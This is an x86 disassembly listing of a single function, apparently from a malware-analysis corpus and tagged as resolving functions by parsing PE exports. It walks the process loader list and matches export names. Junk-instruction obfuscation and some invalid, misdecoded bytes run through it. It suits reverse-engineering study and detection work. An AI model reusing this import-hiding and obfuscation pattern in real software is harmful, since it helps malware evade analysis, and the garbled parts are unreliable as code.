Function at 0x4081d1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push edx
add esp, 4
and esi, 0x98f5
add byte [eax], al
call 0x4081d1
add byte [ebx + 0x44], cl
inc edx
dec ecx
cmp byte [ebx + 0x3d], cl
inc esi
cmp eax, dword [ebx - 0x117efb3c]
jle 0x40820f
add byte [eax], al
add esi, 0xf392
pop esi
push ebx
add ebx, 0xd741
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push ebx
add esp, 4
and edx, 0x6dde
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0x9637
jmp 0x40822f
jmp 0x408238
pop ebx
push edx
push eax
add esp, 4
or edx, 0x4af2
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push ebx
add esp, 4
sub esi, 0x4224
xor esi, 0x17720
pop esi
push esi
add esi, 0x81ab
jmp 0x4082bb
or esi, 0xf70d
pop esi
push edi
push edi
add esp, 4
sub edi, 0x147b9
pop edi
movzx ecx, word [ebp - 0x3c]
dec ebp
invalid
test ecx, ecx
jne 0x4082eb
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x408345
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x408213
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x408213
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
sar byte [ebp + 0xc], 1
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x408339
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40838e
push edi
or edi, 0x1594f
add edi, 0x15b71
jmp 0x408361
and edi, 0x4368
pop edi
push ebx
push eax
add esp, 4
jmp 0x408373
sub ebx, 0x13371
and ebx, 0x12cb
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4083f6
push edx
add edx, 0xe8e3
ret 0xe8e3
add byte [eax], al
jmp 0x40839e
xor edx, 0x59e4
pop edx
push ecx
jmp 0x4083ad
sub ecx, 0xf45e
sub ecx, 0x164e7
sub ecx, 0x131cf
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4083ec
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4081b7
mov dword [ebp - 0x710], 0
push edi
push esi
add esp, 4
and edi, 0x1f92
add edi, 0x1804c
sub edi, 0x3006
or edi, 0x37f7
pop edi
push edx
and edx, 0x1488f
and edx, 0xd0af
xor edx, 0x692f
pop edx
cmp dword [ebp - 0x710], 0
jne 0x408472
push eax
or eax, 0x1428a
add eax, 0x974e
sub eax, 0xe815
add eax, 0x80c2
pop eax
push eax
push ebx
add esp, 4
or eax, 0x694b
sub eax, 0xab01
xor eax, 0x1204e
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x408f9a
push edi
push edx
add esp, 4
or edi, 0x5839
sub edi, 0xe7e3
pop edi
push edx
sub edx, 0xa316
pop edx
push edx
push ebx
add esp, 4
sub edx, 0xd6be
pop edx
push edx
push edi
add esp, 4
sub edx, 0xda14
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4084e3
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4087d4
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40850b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4087d4
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40853d
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4087d4
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x408562
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4087d4
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4085bc
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4087c8
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40862c
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4086de
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4086de
push edi
call 0x408667
add byte [ebx + 0x3c], al
push eax
dec esi
dec edx
inc ebx
inc ebp
add esp, 4
pop edi
push edi
call 0x408679
add byte [0x4f474b33], dh
cmp eax, 0x5f04c483
push ecx
or ecx, 0x18284
and ecx, 0x11a36
pop ecx
mov ecx, dword [ebp - 0x71c]
inc dword [ebx]
lea edi, [eax - 2]
invalid
dec dword [edi]
mov esi, 0x78858b11
invalid
invalid
dec dword [edi]
mov esi, 0xf7d0058c
invalid
invalid
cmp edx, ecx
je 0x4086d0
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4086d7
jmp 0x40861d
jmp 0x4086de
push esi
or esi, 0x13eb8
or esi, 0xf928
call 0x4086fb
add byte [edx], dh
dec edx
push eax
inc esp
inc eax
cmp eax, 0x833a453d
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ecx], bh
inc eax
xor eax, 0x3f41503a
cmp eax, 0x5e04c483
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40873d
mov dword [ebp - 0xc5c], 0
jmp 0x4087ac
push ebx
push eax
add esp, 4
add ebx, 0x3724
call 0x408755
add byte [ebx], dh
dec eax
xor al, byte [edx + esi + 0x40]
cmp eax, 0xeb04c483
push es
inc edx
inc esp
inc ecx
dec esi
dec ebx
pop ebx
push esi
and esi, 0x17420
add esi, 0xa7b8
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4087a2
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4087ac
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4087c3
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4087d4
jmp 0x4085ad
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4088af
push ebx
push ecx
add esp, 4
xor ebx, 0x119e8
pop ebx
push esi
push edx
add esp, 4
jmp 0x4087f7
pop esi
push edx
call 0x408809
add byte [edi + 0x3a], al
dec esi
xor cl, byte [edx + 0x49]
dec ecx
dec ebx
aas
xor al, byte [ebx - 0x357efb3c]
sub dword [ecx - 0x74a60000], eax
lea edi, [eax]
cld
invalid
push ebx
add ebx, 0x8e1d
add ebx, 0x7c98
and ebx, 0xf307
add ebx, 0xb9f0
pop ebx
push edi
push eax
add esp, 4
and edi, 0xf91
and edi, 0xfb4f
sub edi, 0x22df
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push edi
add esp, 4
call 0x40891d
add byte [eax + 0x35], al
xor eax, dword [ebx + 0x4f]
dec eax
inc ebx
inc ebp
xor al, 0x83
les eax, [ecx + ebx*2]
push eax
xor eax, 0x1638b
pop eax
push eax
push ecx
add esp, 4
add eax, 0x4fb8
and eax, 0x107e8
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x408953
mov dword [ebp - 0x2a8], 0
jmp 0x408bfa
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x99b0
sub ecx, 0x132cd
pop ecx
push edx
add edx, 0x114aa
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0xeeb0
add ecx, 0x6c
or ecx, 0x15e66
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x4089af
mov dword [ebp - 0x2a8], 0
jmp 0x408bfa
invalid